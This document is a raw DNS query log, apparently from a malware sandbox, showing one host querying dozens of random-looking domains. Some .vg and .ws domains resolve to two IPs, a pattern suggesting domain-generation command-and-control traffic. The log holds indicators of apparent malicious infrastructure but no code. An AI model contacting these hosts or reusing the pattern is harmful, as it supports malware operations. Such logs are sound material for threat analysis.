Jan 5, 2025 10:50:32.575639009 CET	1.1.1.1	192.168.2.4	0x8a66	Name error (3)	mtgos.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.808039904 CET	1.1.1.1	192.168.2.4	0x50db	Name error (3)	mtgos.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.906966925 CET	1.1.1.1	192.168.2.4	0x922b	No error (0)	jjmhqlazjlqyg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.925319910 CET	1.1.1.1	192.168.2.4	0x1027	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.934510946 CET	1.1.1.1	192.168.2.4	0x65a3	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.044147968 CET	1.1.1.1	192.168.2.4	0x167f	No error (0)	oiokgcfeevo.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.087384939 CET	1.1.1.1	192.168.2.4	0x2857	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.101438046 CET	1.1.1.1	192.168.2.4	0x4b87	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.205787897 CET	1.1.1.1	192.168.2.4	0xff9	Name error (3)	knykdukye.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.222666979 CET	1.1.1.1	192.168.2.4	0x8712	Name error (3)	knykdukye.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.325939894 CET	1.1.1.1	192.168.2.4	0x70d	Name error (3)	jiqysnxmk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.380913973 CET	1.1.1.1	192.168.2.4	0xffcc	Name error (3)	jiqysnxmk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.487416983 CET	1.1.1.1	192.168.2.4	0x3742	No error (0)	cksojsfugtf.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.553384066 CET	1.1.1.1	192.168.2.4	0x9b8	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.566059113 CET	1.1.1.1	192.168.2.4	0x3636	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.658823967 CET	1.1.1.1	192.168.2.4	0x6796	Name error (3)	wxgprhgqiei.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.685199022 CET	1.1.1.1	192.168.2.4	0x52e5	Name error (3)	wxgprhgqiei.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.804991007 CET	1.1.1.1	192.168.2.4	0xd034	Name error (3)	vgyzveetagkaw.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.078104019 CET	1.1.1.1	192.168.2.4	0xb0b8	Name error (3)	vgyzveetagkaw.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.174267054 CET	1.1.1.1	192.168.2.4	0xd648	No error (0)	sztodskynsh.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.278769970 CET	1.1.1.1	192.168.2.4	0xe0c2	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.303596973 CET	1.1.1.1	192.168.2.4	0xb7cb	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.392714977 CET	1.1.1.1	192.168.2.4	0xd31d	Name error (3)	oqcckacuwbt.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.408268929 CET	1.1.1.1	192.168.2.4	0x690c	Name error (3)	oqcckacuwbt.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.527992010 CET	1.1.1.1	192.168.2.4	0x7767	Name error (3)	docscsgcgis.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.555763960 CET	1.1.1.1	192.168.2.4	0x927c	Name error (3)	docscsgcgis.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.675079107 CET	1.1.1.1	192.168.2.4	0x5c07	Name error (3)	mwwocic.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.715291023 CET	1.1.1.1	192.168.2.4	0xe9d9	Name error (3)	mwwocic.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.816838980 CET	1.1.1.1	192.168.2.4	0xd32d	Name error (3)	rxcomqytho.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.970829010 CET	1.1.1.1	192.168.2.4	0xcdd8	Name error (3)	rxcomqytho.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.115489960 CET	1.1.1.1	192.168.2.4	0x8913	No error (0)	kybvislj.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.146876097 CET	1.1.1.1	192.168.2.4	0x9642	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.168596029 CET	1.1.1.1	192.168.2.4	0x6ce	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.301444054 CET	1.1.1.1	192.168.2.4	0x6e8c	No error (0)	oqglsou.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.337219000 CET	1.1.1.1	192.168.2.4	0xa84	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.348457098 CET	1.1.1.1	192.168.2.4	0x23f3	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.460529089 CET	1.1.1.1	192.168.2.4	0x6d4b	No error (0)	knsnouoag.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.653439045 CET	1.1.1.1	192.168.2.4	0xdcc	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.665179014 CET	1.1.1.1	192.168.2.4	0x785	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.754010916 CET	1.1.1.1	192.168.2.4	0xbe28	Name error (3)	mccieus.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.788479090 CET	1.1.1.1	192.168.2.4	0x70f4	Name error (3)	mccieus.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.128504992 CET	1.1.1.1	192.168.2.4	0x5fba	Name error (3)	ubkzsefeqpsf.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.215116024 CET	1.1.1.1	192.168.2.4	0x78fc	Name error (3)	ubkzsefeqpsf.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.307480097 CET	1.1.1.1	192.168.2.4	0xa1c3	No error (0)	wkmysnme.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.323998928 CET	1.1.1.1	192.168.2.4	0xbaa3	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.343058109 CET	1.1.1.1	192.168.2.4	0xa007	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.682590008 CET	1.1.1.1	192.168.2.4	0x5533	Name error (3)	ibiejygsl.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.745918036 CET	1.1.1.1	192.168.2.4	0x297f	Name error (3)	ibiejygsl.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.839199066 CET	1.1.1.1	192.168.2.4	0x2a47	No error (0)	njawkarc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.866000891 CET	1.1.1.1	192.168.2.4	0x9bbc	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.896251917 CET	1.1.1.1	192.168.2.4	0x95c7	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.989540100 CET	1.1.1.1	192.168.2.4	0xf467	Name error (3)	ebcnudttm.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.013398886 CET	1.1.1.1	192.168.2.4	0xffc9	Name error (3)	ebcnudttm.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.097070932 CET	1.1.1.1	192.168.2.4	0x2d55	No error (0)	mtgwmleoqqbmw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.147270918 CET	1.1.1.1	192.168.2.4	0x5936	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.155503035 CET	1.1.1.1	192.168.2.4	0xaeef	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.426179886 CET	1.1.1.1	192.168.2.4	0x9274	Name error (3)	umgscarsq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.217226982 CET	1.1.1.1	192.168.2.4	0x6095	Name error (3)	umgscarsq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.298053980 CET	1.1.1.1	192.168.2.4	0x52e	Name error (3)	klmvmygtsn.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.335479021 CET	1.1.1.1	192.168.2.4	0x4503	Name error (3)	klmvmygtsn.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.431159019 CET	1.1.1.1	192.168.2.4	0x4a1f	Name error (3)	yeshwlbymquav.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.461085081 CET	1.1.1.1	192.168.2.4	0x76d6	Name error (3)	yeshwlbymquav.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.557256937 CET	1.1.1.1	192.168.2.4	0x9ea1	No error (0)	oqgqwc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.725620031 CET	1.1.1.1	192.168.2.4	0xfac8	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.873531103 CET	1.1.1.1	192.168.2.4	0xf3a0	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.961128950 CET	1.1.1.1	192.168.2.4	0xdb7e	Name error (3)	uvmwhweac.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.027381897 CET	1.1.1.1	192.168.2.4	0xddfa	Name error (3)	uvmwhweac.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.391841888 CET	1.1.1.1	192.168.2.4	0xc5b6	Name error (3)	zkizeua.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.456756115 CET	1.1.1.1	192.168.2.4	0xedb2	Name error (3)	zkizeua.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.558775902 CET	1.1.1.1	192.168.2.4	0x7e63	Name error (3)	zewrcmyi.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.598956108 CET	1.1.1.1	192.168.2.4	0x8a31	Name error (3)	zewrcmyi.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.688988924 CET	1.1.1.1	192.168.2.4	0xce9d	Name error (3)	myuklgdq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.731591940 CET	1.1.1.1	192.168.2.4	0x612e	Name error (3)	myuklgdq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.828300953 CET	1.1.1.1	192.168.2.4	0x7b45	No error (0)	auczi.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.846914053 CET	1.1.1.1	192.168.2.4	0xdea2	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.858714104 CET	1.1.1.1	192.168.2.4	0x63ba	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.208499908 CET	1.1.1.1	192.168.2.4	0x1dde	Name error (3)	oxuamhgwomyql.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.306507111 CET	1.1.1.1	192.168.2.4	0xfdb5	Name error (3)	oxuamhgwomyql.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.421399117 CET	1.1.1.1	192.168.2.4	0x3c59	Name error (3)	mqwosccs.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.607363939 CET	1.1.1.1	192.168.2.4	0x7cc7	Name error (3)	mqwosccs.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.704366922 CET	1.1.1.1	192.168.2.4	0x7201	Name error (3)	ykcpkaie.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.846270084 CET	1.1.1.1	192.168.2.4	0xcf39	Name error (3)	ykcpkaie.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.922960997 CET	1.1.1.1	192.168.2.4	0x2421	Name error (3)	qyrykvs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.968857050 CET	1.1.1.1	192.168.2.4	0x7037	Name error (3)	qyrykvs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.065907955 CET	1.1.1.1	192.168.2.4	0x6e46	Name error (3)	eimway.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.094178915 CET	1.1.1.1	192.168.2.4	0xbf38	Name error (3)	eimway.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.223162889 CET	1.1.1.1	192.168.2.4	0x2205	No error (0)	oeggke.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.287564039 CET	1.1.1.1	192.168.2.4	0xd136	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.299468994 CET	1.1.1.1	192.168.2.4	0xbfaa	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.394326925 CET	1.1.1.1	192.168.2.4	0xbc01	Name error (3)	etgpwavdy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.414411068 CET	1.1.1.1	192.168.2.4	0x8989	Name error (3)	etgpwavdy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.523320913 CET	1.1.1.1	192.168.2.4	0xf103	Name error (3)	jaywcllelfscm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.547368050 CET	1.1.1.1	192.168.2.4	0xbab8	Name error (3)	jaywcllelfscm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.628123045 CET	1.1.1.1	192.168.2.4	0x96f7	Name error (3)	zkiepwwhwgamdq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.725198030 CET	1.1.1.1	192.168.2.4	0xae00	Name error (3)	zkiepwwhwgamdq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.117427111 CET	1.1.1.1	192.168.2.4	0x71ad	Name error (3)	lbipfgl.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.165831089 CET	1.1.1.1	192.168.2.4	0x9a02	Name error (3)	lbipfgl.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.266669989 CET	1.1.1.1	192.168.2.4	0xf12d	Name error (3)	kmuaeocmcwq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.389297009 CET	1.1.1.1	192.168.2.4	0xd016	Name error (3)	kmuaeocmcwq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.486212969 CET	1.1.1.1	192.168.2.4	0x9b90	Name error (3)	agiaofa.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.515371084 CET	1.1.1.1	192.168.2.4	0xb1c2	Name error (3)	agiaofa.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.597258091 CET	1.1.1.1	192.168.2.4	0xdd11	No error (0)	gjsoixeomlg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.631834984 CET	1.1.1.1	192.168.2.4	0xd5e7	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.642138004 CET	1.1.1.1	192.168.2.4	0xd04e	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.755342007 CET	1.1.1.1	192.168.2.4	0x9e7	No error (0)	oixkoeuv.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.776443958 CET	1.1.1.1	192.168.2.4	0x10a2	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.787009954 CET	1.1.1.1	192.168.2.4	0x5cc4	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.876523018 CET	1.1.1.1	192.168.2.4	0x5d22	Name error (3)	kujooeda.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.890218973 CET	1.1.1.1	192.168.2.4	0xdb5	Name error (3)	kujooeda.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.969144106 CET	1.1.1.1	192.168.2.4	0xdaef	Name error (3)	uycxakowsy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.986936092 CET	1.1.1.1	192.168.2.4	0x4372	Name error (3)	uycxakowsy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.063905954 CET	1.1.1.1	192.168.2.4	0x238	Name error (3)	wiqeq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.081069946 CET	1.1.1.1	192.168.2.4	0x10b	Name error (3)	wiqeq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.167047977 CET	1.1.1.1	192.168.2.4	0x8edf	No error (0)	wrwua.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.192207098 CET	1.1.1.1	192.168.2.4	0xef9f	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.203063965 CET	1.1.1.1	192.168.2.4	0x7b07	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.537792921 CET	1.1.1.1	192.168.2.4	0x5b9e	Name error (3)	gwsxemqguma.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.586958885 CET	1.1.1.1	192.168.2.4	0x52aa	Name error (3)	gwsxemqguma.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.691140890 CET	1.1.1.1	192.168.2.4	0x891d	Name error (3)	vryqggeolakqz.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.711905003 CET	1.1.1.1	192.168.2.4	0x4bb9	Name error (3)	vryqggeolakqz.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:44.064332962 CET	1.1.1.1	192.168.2.4	0x8798	Name error (3)	wgszkgimsdjvs.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:44.438249111 CET	1.1.1.1	192.168.2.4	0x2447	Name error (3)	wgszkgimsdjvs.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:44.762070894 CET	1.1.1.1	192.168.2.4	0xa505	Name error (3)	siabzsmu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:45.037623882 CET	1.1.1.1	192.168.2.4	0x1375	Name error (3)	siabzsmu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:45.989056110 CET	1.1.1.1	192.168.2.4	0x377f	Name error (3)	umcawrx.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.112864017 CET	1.1.1.1	192.168.2.4	0xc7c0	Name error (3)	umcawrx.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.190736055 CET	1.1.1.1	192.168.2.4	0x96ef	No error (0)	qewtqeqctcz.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.279274940 CET	1.1.1.1	192.168.2.4	0x2266	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.304285049 CET	1.1.1.1	192.168.2.4	0xf610	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.555567026 CET	1.1.1.1	192.168.2.4	0x50ea	Name error (3)	hiwgyyiarus.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.651972055 CET	1.1.1.1	192.168.2.4	0x20a7	Name error (3)	hiwgyyiarus.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.734581947 CET	1.1.1.1	192.168.2.4	0x5737	Name error (3)	ikxyhewbcoyaw.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.911135912 CET	1.1.1.1	192.168.2.4	0x6a62	Name error (3)	ikxyhewbcoyaw.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.010802031 CET	1.1.1.1	192.168.2.4	0x790f	No error (0)	emyyye.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.089081049 CET	1.1.1.1	192.168.2.4	0xf963	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.103266954 CET	1.1.1.1	192.168.2.4	0xf73	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.249891996 CET	1.1.1.1	192.168.2.4	0x5d7e	Name error (3)	eewoj.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.348093033 CET	1.1.1.1	192.168.2.4	0x9041	Name error (3)	eewoj.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.473643064 CET	1.1.1.1	192.168.2.4	0x1c12	No error (0)	uaici.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.522929907 CET	1.1.1.1	192.168.2.4	0x24b1	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.542838097 CET	1.1.1.1	192.168.2.4	0x5fdb	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.706733942 CET	1.1.1.1	192.168.2.4	0x960f	Name error (3)	suaumy.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.769974947 CET	1.1.1.1	192.168.2.4	0xfff3	Name error (3)	suaumy.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.854870081 CET	1.1.1.1	192.168.2.4	0x943	Name error (3)	mcebkwggagthk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.891568899 CET	1.1.1.1	192.168.2.4	0x8ead	Name error (3)	mcebkwggagthk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.163678885 CET	1.1.1.1	192.168.2.4	0xd23	Name error (3)	qauzomtcasm.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.268533945 CET	1.1.1.1	192.168.2.4	0x7d11	Name error (3)	qauzomtcasm.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.416233063 CET	1.1.1.1	192.168.2.4	0xca6e	Name error (3)	ameiooxomkd.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.454494953 CET	1.1.1.1	192.168.2.4	0xcb3a	Name error (3)	ameiooxomkd.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.712402105 CET	1.1.1.1	192.168.2.4	0x195e	Name error (3)	hqbcsfzzymu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.814822912 CET	1.1.1.1	192.168.2.4	0xeff7	Name error (3)	hqbcsfzzymu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.108330965 CET	1.1.1.1	192.168.2.4	0x9469	No error (0)	egcgjybmgq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.139008045 CET	1.1.1.1	192.168.2.4	0x2433	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.158704042 CET	1.1.1.1	192.168.2.4	0x43f6	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.267776966 CET	1.1.1.1	192.168.2.4	0x455c	Name error (3)	arripuiwve.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.319360018 CET	1.1.1.1	192.168.2.4	0x4fd8	Name error (3)	arripuiwve.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.398925066 CET	1.1.1.1	192.168.2.4	0xc908	Name error (3)	wsani.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.437596083 CET	1.1.1.1	192.168.2.4	0x3222	Name error (3)	wsani.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.774707079 CET	1.1.1.1	192.168.2.4	0xc755	Name error (3)	coaccvbciv.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.841845036 CET	1.1.1.1	192.168.2.4	0xb392	Name error (3)	coaccvbciv.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.925359011 CET	1.1.1.1	192.168.2.4	0xfe5	Name error (3)	juwsqwrkyaw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.942565918 CET	1.1.1.1	192.168.2.4	0xf3ee	Name error (3)	juwsqwrkyaw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.017117977 CET	1.1.1.1	192.168.2.4	0xab2a	Name error (3)	dyrlgtmsr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.058269978 CET	1.1.1.1	192.168.2.4	0xb20e	Name error (3)	dyrlgtmsr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.213970900 CET	1.1.1.1	192.168.2.4	0x7586	Name error (3)	qqagyzhopg.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.230370045 CET	1.1.1.1	192.168.2.4	0x693e	Name error (3)	qqagyzhopg.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.313483953 CET	1.1.1.1	192.168.2.4	0x1e36	Name error (3)	crwpssiwwym.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.328530073 CET	1.1.1.1	192.168.2.4	0x265	Name error (3)	crwpssiwwym.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.416855097 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	ixecmgaww.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.436597109 CET	1.1.1.1	192.168.2.4	0xffe0	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.447321892 CET	1.1.1.1	192.168.2.4	0x33b4	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.558310986 CET	1.1.1.1	192.168.2.4	0xa794	Name error (3)	qniwqotgk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.608671904 CET	1.1.1.1	192.168.2.4	0x3bc	Name error (3)	qniwqotgk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:51.621526957 CET	1.1.1.1	192.168.2.4	0x852	Name error (3)	oussi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:52.522386074 CET	1.1.1.1	192.168.2.4	0xf81e	Name error (3)	oussi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:52.637737989 CET	1.1.1.1	192.168.2.4	0xd2f8	Name error (3)	monkkutsqof.cd	none	none	A (IP address)	IN (0x0001)	false
